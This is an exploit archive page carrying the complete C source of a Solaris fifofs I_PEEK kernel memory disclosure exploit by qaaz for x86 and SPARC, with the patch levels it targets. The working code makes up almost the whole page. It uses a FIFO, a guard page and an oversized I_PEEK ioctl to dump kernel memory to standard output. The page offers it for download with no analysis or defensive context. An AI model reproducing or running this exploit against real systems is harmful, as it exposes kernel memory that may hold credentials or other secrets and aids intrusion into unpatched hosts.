what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

solaris-fifofs.txt

solaris-fifofs.txt
Posted Oct 11, 2007
Authored by qaaz

Solaris fifofs I_PEEK kernel memory disclosure exploit for x86/sparc.

tags | exploit, x86, kernel
systems | solaris
SHA-256 | cda504ca70a36cef8226f4a95896c7dee7537f1fcc1ed72f7bfd6a7988fea5f7

solaris-fifofs.txt

Change Mirror Download
/* 10/2007: public release
* SPARC
* Solaris 8 without 109454-06
* Solaris 9 without 117471-04
* Solaris 10 without 127737-01
* x86
* Solaris 8 without 109455-06
* Solaris 9 without 117472-04
* Solaris 10 without 127738-01
*
* Solaris fifofs I_PEEK Kernel Memory Disclosure
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT 1000

int main(int argc, char *argv[])
{
struct strpeek strpeek;
char *buf, *end;
int pg = PAGE_COUNT, fd, pagesz, bufsz;

fprintf(stderr,
"---------------------------------------\n"
" Solaris fifofs I_PEEK Kmem Disclosure\n"
" By qaaz\n"
"---------------------------------------\n");

if (argc > 1) pg = atoi(argv[1]);

pagesz = getpagesize();

if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
perror("mknod");
return -1;
}

switch (fork()) {
case -1:
perror("fork");
goto cleanup;
case 0:
if ((fd = open("fifo", O_WRONLY)) < 0) {
perror("open");
exit(0);
}
write(fd, "abcd", 4);
exit(0);
break;
default:
if ((fd = open("fifo", O_RDONLY)) < 0) {
perror("open");
goto cleanup;
}
break;
}

bufsz = (pg + 1) * pagesz;
if (!(buf = memalign(pagesz, bufsz))) {
perror("malloc");
goto cleanup;
}

memset(buf, 0, bufsz);
end = buf + (pg * pagesz);

fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
fflush(stderr);

if (mprotect(end, pagesz, PROT_NONE) < 0) {
perror("mprotect");
goto cleanup;
}

memset(&strpeek, 0, sizeof(strpeek));
strpeek.databuf.buf = buf;
strpeek.databuf.maxlen = -1;
if (ioctl(fd, I_PEEK, &strpeek) < 0) {
perror("ioctl");
goto cleanup;
}

while (end > buf && end[-1] == 0)
end--;
fprintf(stderr, "== %d\n", (int) (end - buf));
fflush(stderr);

if (!isatty(1))
write(1, buf, (size_t) (end - buf));

cleanup:
unlink("fifo");
return 0;
}

Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close